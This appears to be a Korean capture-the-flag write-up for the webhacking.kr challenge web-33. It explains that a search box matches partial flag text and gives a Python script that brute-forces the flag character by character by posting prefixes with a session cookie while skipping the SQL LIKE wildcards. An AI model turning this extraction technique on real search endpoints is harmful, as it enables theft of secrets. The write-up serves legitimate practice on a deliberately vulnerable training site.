목표 : Brute Force (Python)
표와 검색창이 반겨준다
admin의 readme는 액세스 거절이, guest는 hello 가 나온다
검색창에 ‘admin’을 검색해봐도 ‘guest’를 검색해봐도 아무것도 나오지 않아 이것저것 검색해봤는데
hello라는 hi~안의 내용을 치니까 검색 결과가 나왔다
우리가 원하는건 Flag 값이니 이를 검색해보면
이렇게 검색이 나온다.
FLAG{ 까지도 검색이 유효한만큼 뒤부터는 검색이 나오는 조건으로 brute-force 공격을 수행할 수도 있다.
지금까지의 FLAG 형식으로 볼 때
0-9a-zA-Z_-+!@#$%^&*?{} 안에서 이루어졌으므로 이 셋으로 파이썬 코드를 짜서 돌리면 되겠다.
import requests
import warnings
# warning off
warnings.filterwarnings("ignore")
url = 'https://webhacking.kr/challenge/web-33/'
answer = 'FLAG{'
data = {'search':""}
# ! 33 ~
# 대부분의 플래그는 숫자, 영문자로 이루어져있으므로 이를 감안해서 j 범위를 분할해
# 영문자 - 숫자 - 특문 순으로 request를 보낸다면 더 빠르게 찾을 것
for i in range(1,50):
chk = 0
for j in range(33,126):#!@#$%&*_- ~ A-Z ~ a-z { | }
cookies = {'PHPSESSID':'YOUR COOKIE VALUE'} # Session 쿠키 값
brute = answer
brute += chr(j)
if(j==37): # % 와일드카드 패스
continue
if(j==95): # _ 와일드카드 패스
continue
data['search'] = brute
response = requests.post(cookies=cookies,url=url,data=data,verify=False)
#print (data)
#print (response.text)
if(response.text.find('admin')!=-1):
chk = 1
answer += chr(j)
print(answer)
if(j==ord('}')):
chk = 2
break
if (chk==0): # 모두 아닐 경우 _ 와일드카드 입력
answer += '_'
elif (chk==2): # '}' 값인 경우 종료
break
print ("----------\nComplete")
print (answer)
Python
복사
돌리면 이렇게 결과가 나온다.